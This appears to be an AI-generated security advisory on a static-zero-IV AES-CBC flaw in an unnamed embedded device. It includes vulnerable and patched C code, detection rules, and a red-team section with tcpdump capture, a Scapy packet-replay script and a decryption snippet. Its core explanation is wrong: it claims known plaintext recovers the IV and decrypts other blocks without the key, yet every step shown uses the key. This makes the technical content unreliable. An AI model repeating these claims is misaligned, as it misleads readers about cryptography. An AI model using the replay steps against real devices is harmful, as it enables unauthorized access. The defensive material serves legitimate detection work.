CVE-2026-50210

Executive Summary

CVE-2026-50210 exposes a critical cryptographic weakness in an embedded device (vendor: Device). The implementation uses AES-CBC encryption with static, zero-filled Initialization Vectors (IVs). This flaw allows an attacker who can observe multiple encrypted packets to perform replay attacks and, under known-plaintext conditions, decrypt sensitive data. The vulnerability is unpatched, and no public proof-of-concept code is available at this time.

Impact: An attacker within network proximity (AV:A) can replay captured encrypted commands or data, potentially gaining unauthorized control or access. If the attacker knows any plaintext-ciphertext pair, they can decrypt other blocks due to the static IV.

Affected Ecosystem: This is a hardware/firmware vulnerability in a specific device. No supply chain package (NPM, PyPI, Go, Ruby) is involved.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Adjacent Network (AV:A) – attacker must be on the same network segment.
• Attack Complexity (AC): Low (AC:L) – no special conditions required.
• Privileges Required (PR): None (PR:N) – no authentication needed to capture traffic.
• User Interaction (UI): None (UI:N) – no user action required.
• Scope (S): Unchanged (S:U) – exploitation does not cross trust boundaries.
• Confidentiality (C): High (C:H) – full decryption of encrypted data possible.
• Integrity (I): High (I:H) – replay attacks can inject malicious commands.
• Availability (A): High (A:H) – replay could cause denial of service or device malfunction.

CVSS Score: 8.8 (High)

Threat Level: High. The static IV makes the encryption deterministic, enabling block-by-block decryption with known plaintext and trivial replay attacks.

Deep Dive & Mechanics

AES-CBC (Cipher Block Chaining) requires a unique, unpredictable IV for each encryption operation to ensure that identical plaintext blocks produce different ciphertext blocks. When the IV is static (e.g., all zeros), the encryption becomes deterministic:

• Replay Attack: An attacker can capture a valid encrypted packet (e.g., "unlock door") and replay it later to achieve the same effect.
• Known-Plaintext Decryption: If the attacker knows the plaintext for one block (e.g., a fixed header), they can XOR it with the ciphertext to recover the IV (which is zero) and then decrypt subsequent blocks using the CBC chain.

Technical Flow:

1. Device encrypts plaintext P using AES-CBC with IV = 0x00000000000000000000000000000000.
2. Ciphertext C1 = AES_encrypt(P1 XOR IV).
3. Since IV is zero, C1 = AES_encrypt(P1).
4. For subsequent blocks: Ci = AES_encrypt(Pi XOR Ci-1).
5. An attacker capturing C1, C2, ... can replay the entire ciphertext.
6. If attacker knows P1, they can compute AES_decrypt(C1) = P1 and then use C1 to decrypt P2 via P2 = AES_decrypt(C2) XOR C1.

Vulnerable vs. Patched Code

Vulnerable Implementation (Conceptual C):

#include <openssl/evp.h>
#include <string.h>

void encrypt_data(const unsigned char *plaintext, int plaintext_len,
                  unsigned char *ciphertext) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    unsigned char key[16] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
                             0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c};
    unsigned char iv[16] = {0}; // STATIC ZERO IV - VULNERABLE

    EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
    int len;
    EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
    int ciphertext_len = len;
    EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
    ciphertext_len += len;
    EVP_CIPHER_CTX_free(ctx);
}

Patched Implementation (Conceptual C):

#include <openssl/evp.h>
#include <openssl/rand.h>
#include <string.h>

void encrypt_data(const unsigned char *plaintext, int plaintext_len,
                  unsigned char *ciphertext, unsigned char *iv_out) {
    EVP_CIPHER_CTX *ctx = EVP_CIPHER_CTX_new();
    unsigned char key[16] = {0x2b, 0x7e, 0x15, 0x16, 0x28, 0xae, 0xd2, 0xa6,
                             0xab, 0xf7, 0x15, 0x88, 0x09, 0xcf, 0x4f, 0x3c};
    unsigned char iv[16];

    // Generate random IV
    if (!RAND_bytes(iv, sizeof(iv))) {
        // handle error
    }

    EVP_EncryptInit_ex(ctx, EVP_aes_128_cbc(), NULL, key, iv);
    int len;
    EVP_EncryptUpdate(ctx, ciphertext, &len, plaintext, plaintext_len);
    int ciphertext_len = len;
    EVP_EncryptFinal_ex(ctx, ciphertext + len, &len);
    ciphertext_len += len;
    EVP_CIPHER_CTX_free(ctx);

    // Prepend IV to ciphertext for transmission
    memcpy(iv_out, iv, 16);
    memmove(ciphertext + 16, ciphertext, ciphertext_len);
    memcpy(ciphertext, iv, 16);
}

Key Difference: The patched version generates a cryptographically random IV using RAND_bytes() and prepends it to the ciphertext. The receiver must extract the IV from the first 16 bytes before decryption.

Exploitation & Lab Setup

Red Team (Attacker)

Lab Environment:

• Target device with CVE-2026-50210 (e.g., a smart lock or IoT sensor).
• Attacker machine with Python and Scapy or Wireshark.
• Network access to the device (e.g., same Wi-Fi).

Exploitation Steps:

1. Capture Encrypted Traffic:

   sudo tcpdump -i wlan0 -w capture.pcap
   

   Trigger a known action (e.g., press unlock button) to capture a known-plaintext pair.

2. Extract Ciphertext: Use Wireshark or Scapy to extract the encrypted payload.

3. Replay Attack:

   from scapy.all import *
   packets = rdpcap('capture.pcap')
   # Assume packet with encrypted command is at index 5
   replay_pkt = packets[5]
   sendp(replay_pkt, iface='wlan0')
   

4. Known-Plaintext Decryption (if plaintext known):

   from Crypto.Cipher import AES
   import binascii
   
   key = binascii.unhexlify('2b7e151628aed2a6abf7158809cf4f3c')
   iv = b'\x00' * 16
   ciphertext = binascii.unhexlify('...')  # from capture
   
   cipher = AES.new(key, AES.MODE_CBC, iv)
   plaintext = cipher.decrypt(ciphertext)
   print(plaintext)
   

Blue Team (Defender)

Detection & Mitigation:

• Monitor for repeated identical encrypted packets (replay indicator).
• Implement network-level anomaly detection for unusual command sequences.
• If possible, apply firmware update once vendor releases patch.
• As a workaround, use a VPN or TLS tunnel to encrypt the entire communication, rendering the static IV irrelevant.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated identical encrypted payloads within short time windows.
  • Encrypted packets with all-zero IV (first 16 bytes of payload are zeros).
• Host IOCs:
  • Unexpected device behavior (e.g., door unlocking without user action).
  • Logs showing repeated commands from same source MAC.

Detection Engineering

YARA Rule

rule CVE_2026_50210_Static_IV {
    meta:
        description = "Detects AES-CBC encrypted data with static zero IV"
        author = "Valters IT"
        date = "2026-01-01"
        cve = "CVE-2026-50210"
    strings:
        $iv_zero = {00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
    condition:
        $iv_zero at 0
}

Sigma Rule

title: Detection of Replay Attack via Static IV
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects repeated identical encrypted payloads indicating replay attack
author: Valters IT
logsource:
    category: network_connection
    product: suricata
detection:
    selection:
        event_type: alert
        alert.signature_id: 202650210
    condition: selection
fields:
    - src_ip
    - dest_ip
    - payload
falsepositives:
    - Legitimate retransmissions
level: high

Suricata Rule

alert tcp any any -> any any (msg:"CVE-2026-50210 - Potential Replay Attack - Static IV Detected"; content:"|00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00|"; offset:0; depth:16; sid:202650210; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate the vulnerable device on a separate VLAN to limit attack surface.
2. Traffic Encryption: Use a VPN or TLS tunnel to encapsulate device traffic, negating the static IV weakness.
3. Monitor for Replays: Deploy the Suricata rule above to detect repeated payloads.

Long-Term Fix:

• Vendor must release a firmware update that generates random IVs for each encryption session.
• If device supports firmware updates, apply immediately.
• If not, replace the device with a cryptographically secure alternative.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.